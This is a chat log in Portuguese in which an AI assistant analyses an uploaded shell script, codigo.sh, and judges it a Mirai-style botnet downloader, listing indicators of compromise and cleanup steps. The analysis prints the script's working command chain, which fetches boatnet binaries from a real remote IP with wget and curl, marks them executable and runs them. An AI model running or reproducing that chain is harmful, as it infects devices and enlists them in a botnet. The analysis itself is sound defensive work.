You said:

codigo.sh
Code

Analise o arquivo em anexo passo a passo e determine ao final: este arquivo é benigno ou é um malware?

Worked for 24s

ChatGPT said:

Análise de segurança do arquivo `codigo.sh`

Veredito: MALWARE

Altamente suspeito — alta confiança

O arquivo é um script de download e execução de código malicioso (*downloader/dropper*). Seu objetivo aparente é baixar binários executáveis de um servidor remoto e executá-los, tentando várias arquiteturas de processadores. Os indicadores encontrados são compatíveis com a distribuição de malware da família de botnets Mirai. codigo.sh

Realizei a análise estática do conteúdo do arquivo, sem executá-lo nem acessar diretamente o servidor indicado. Também confrontei os indicadores com fontes públicas de inteligência de ameaças.

1. Identificação do arquivo

Propriedade	Resultado
Nome	`codigo.sh`
Tipo	Script de shell Unix/Linux
Tamanho	2.995 bytes
Número de linhas	17
SHA-256	`368e2387fab6cf42f9482f0783d19e2c3dcda90f2a2d9499d20c42771603ed97`

O SHA-256 identifica exatamente o script analisado. Ele não representa os binários que o script tenta baixar.

2. Análise passo a passo

Passo 1 — Linha 1: alteração do limite de arquivos abertos

```
ulimit -n 1024
```

Define em 1.024 o limite de descritores de arquivos abertos pelo processo, sujeito aos limites do sistema.

Avaliação: o comando, isoladamente, não é malicioso. Entretanto, pode preparar o ambiente para que um programa posterior abra várias conexões ou arquivos.

Passo 2 — Linha 2: cópia do BusyBox

```
cp /bin/busybox /tmp/
```

Copia o executável BusyBox para o diretório temporário `/tmp` .

O BusyBox oferece várias ferramentas comuns em sistemas Linux embarcados, roteadores e dispositivos IoT.

Avaliação: a cópia pode ter usos legítimos, mas, neste contexto, é suspeita. Ela ocorre imediatamente antes de uma sequência de downloads e execuções de binários externos.

O script não utiliza explicitamente a cópia nas demais linhas visíveis, portanto não é possível determinar sua finalidade exata apenas por este arquivo.

Passo 3 — Linha 3: download e execução de um binário x86

```
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
wget http://176.65.139.199/hiddenbin/boatnet.x86
curl -O http://176.65.139.199/hiddenbin/boatnet.x86
cat boatnet.x86 >WTF
chmod +x *
./WTF
```

A linha original contém esses comandos encadeados por ponto e vírgula. A formatação acima apenas facilita a leitura.

O comportamento é o seguinte:

1. Tenta entrar em `/tmp` ou, caso não consiga, em outros diretórios.
2. Baixa o arquivo `boatnet.x86` usando `wget`.
3. Tenta baixar novamente o mesmo arquivo usando `curl`.
4. Copia o conteúdo baixado para um arquivo chamado `WTF`.
5. Concede permissões de execução aos arquivos correspondentes ao padrão `*` no diretório atual.
6. Executa imediatamente `./WTF`.

Por que isso é perigoso?

O script não apenas baixa um arquivo: ele transforma o conteúdo recebido em um executável e o inicia automaticamente.

Além disso, os downloads usam HTTP, sem criptografia de transporte, e não existe verificação de assinatura ou hash antes da execução. Isso impede que o próprio script confirme a autenticidade ou a integridade do binário.

A utilização de `wget e curl` não é um mecanismo de fallback estrito: como os comandos são separados por `;`, ambos são tentados sequencialmente, mesmo que o primeiro funcione.

Passo 4 — Linhas 4 a 17: tentativa de execução em várias arquiteturas

As linhas seguintes repetem essencialmente o mesmo procedimento, alterando o nome do binário.

Linha	Arquivo baixado	Arquitetura pretendida, aproximadamente
4	`boatnet.mips`	MIPS
5	`boatnet.arc`	ARC
6	`boatnet.i468`	Arquitetura não confirmada pelo nome; pode ser um erro de nomenclatura
7	`boatnet.i686`	x86 de 32 bits
8	`boatnet.x86_64`	x86 de 64 bits
9	`boatnet.mpsl`	Não confirmada pelo nome; provavelmente uma variante relacionada a MIPS
10	`boatnet.arm`	ARM

11	`boatnet.arm5`	Variante ARM
12	`boatnet.arm6`	Variante ARM
13	`boatnet.arm7`	Variante ARM
14	`boatnet.ppc`	PowerPC
15	`boatnet.spc`	Não confirmada pelo nome
16	`boatnet.m68k`	Motorola 68k
17	`boatnet.sh4`	SuperH-4

codigo.sh

O padrão é relevante: em vez de identificar primeiro o processador do equipamento, o script tenta baixar e executar uma série de binários diferentes.

Isso é compatível com um carregador destinado a sistemas Linux heterogêneos, incluindo dispositivos IoT, roteadores e equipamentos embarcados. Em um sistema comum, muitos desses binários não serão compatíveis com o processador e poderão falhar. Isso não torna o script inofensivo.

O arquivo `WTF` é reutilizado em cada tentativa. Portanto, seu conteúdo é sobrescrito à medida que o script avança, e cada versão é executada imediatamente após a cópia.

Passo 5 — Análise de `chmod +x *`

Esse comando merece atenção especial:

```
chmod +x *
```

Ele concede permissão de execução a todos os arquivos e diretórios correspondentes ao padrão `*` no diretório atual, não apenas ao binário baixado.

Isso pode modificar permissões de arquivos não relacionados ao script. O alcance depende do diretório em que o comando estiver sendo executado e das permissões do usuário.

Avaliação: comportamento desnecessariamente amplo e potencialmente prejudicial, coerente com a finalidade de executar rapidamente o arquivo baixado.

3. Confirmação por inteligência externa de ameaças

Os indicadores são corroborados por fontes públicas de segurança.

URLhaus — endereço de download malicioso

A base URLhaus registra o endereço `http://176.65.139.199/hiddenbin/boatnet.arm` como um endereço usado para distribuir malware. A entrada foi registrada em 12 de junho de 2026 e aparece com status offline. Isso corresponde ao mesmo IP e ao mesmo padrão de diretório e nome de arquivo encontrados no script. http://176.65.1...

Consultar registro do URLhaus ↗

MalwareBazaar — binário `boatnet.x86`

A base MalwareBazaar classifica amostras chamadas `boatnet.x86` como Mirai, com detecções de malware por diferentes mecanismos de segurança. Essa evidência dá suporte à hipótese de que o script esteja distribuindo uma variante de botnet. Entretanto, as amostras catalogadas têm hashes próprios e não são o mesmo arquivo que o script enviado nesta conversa. bazaar.abuse.ch

Consultar amostra no MalwareBazaar ↗

Conclusão da correlação: há evidência externa independente de que o servidor e os binários com esse padrão de nomes estejam associados à distribuição de malware. A atribuição específica à família Mirai é fortemente sugerida, mas o script, sozinho, não permite determinar a versão exata do malware nem todas as suas funcionalidades.

4. Quais são os riscos para o equipamento?

O script funciona como um mecanismo de entrega e execução. O comportamento final depende do binário que conseguir executar no equipamento.

Os principais riscos são:

- **Inclusão em uma botnet:** o equipamento pode passar a receber comandos de um operador remoto.
- **Ataques distribuídos:** dispositivos comprometidos por botnets Mirai podem ser usados em ataques de negação de serviço distribuído (DDoS).
- **Acesso remoto não autorizado:** o binário pode estabelecer comunicações com uma infraestrutura de comando e controle.
- **Consumo indevido de recursos:** processamento, memória, conexões e largura de banda podem ser utilizados sem autorização.

- **Alterações no sistema:** o executável pode realizar ações que não estão visíveis no script, incluindo outras alterações de configuração ou mecanismos de persistência.

Esses são riscos associados ao comportamento observado e à família suspeita; a análise do script não comprova que todos eles tenham efetivamente ocorrido neste caso.

5. Indicadores de comprometimento (IOCs)

Estes são os principais indicadores que podem ser usados para investigar ou bloquear a atividade:

Indicador	Valor
IP remoto	`176.65.139.199`
Caminho remoto	`/hiddenbin/`
Arquivos remotos	`boatnet.x86`, `boatnet.mips`, `boatnet.arm` e variantes
Arquivo de execução temporário	`WTF`
Diretório temporário usado	`/tmp`
Cópia do BusyBox	`/tmp/busybox`
SHA-256 do script	`368e2387fab6cf42f9482f0783d19e2c3dcda90f2a2d9499d20c42771603ed97`

Os arquivos listados são os nomes presentes no script; sua existência atual no equipamento não foi verificada.

6. O que fazer agora?

Se o arquivo apenas foi baixado e não foi executado, exclua-o ou coloque-o em quarentena e verifique sua origem. Não o execute para testar.

Se o arquivo já foi executado, trate o sistema como potencialmente comprometido. Isole o equipamento da rede, preserve os registros disponíveis e procure processos suspeitos, tarefas agendadas, serviços e alterações de inicialização. Em equipamentos IoT ou roteadores, considere restaurar uma imagem de firmware confiável ou reinstalar o sistema. Troque credenciais potencialmente expostas a partir de um dispositivo limpo.

Bloquear o IP indicado pode ajudar, mas não garante a contenção completa, pois o binário baixado pode utilizar outros endereços ou mecanismos de comunicação.

7. Veredito final

Este arquivo é malware, não benigno.

A conclusão é sustentada por três evidências convergentes: o script baixa e executa automaticamente binários remotos; repete o processo para várias arquiteturas de processadores; e utiliza um servidor cujo caminho de distribuição está registrado publicamente como associado a malware. Os nomes `boatnet` também são associados a amostras identificadas como Mirai. http://176.6... +1

Classificação técnica: script downloader/dropper de alta periculosidade potencial, provavelmente destinado a distribuir malware do tipo botnet para Linux e dispositivos embarcados.

Limitação: a análise confirma a natureza maliciosa do script com alta confiança, mas não estabelece o comportamento completo dos binários baixados, nem comprova que o equipamento tenha sido infectado.

You said:

Qual é a categoria principal deste malware?

ChatGPT said:

A categoria principal deste malware é **Botnet**, provavelmente da família **Mirai**, direcionada a sistemas Linux e dispositivos IoT, como roteadores e equipamentos embarcados.

Sua função imediata é a de **Downloader/Dropper**: baixar binários maliciosos para diferentes arquiteturas de processadores e executá-los no dispositivo. codigo.sh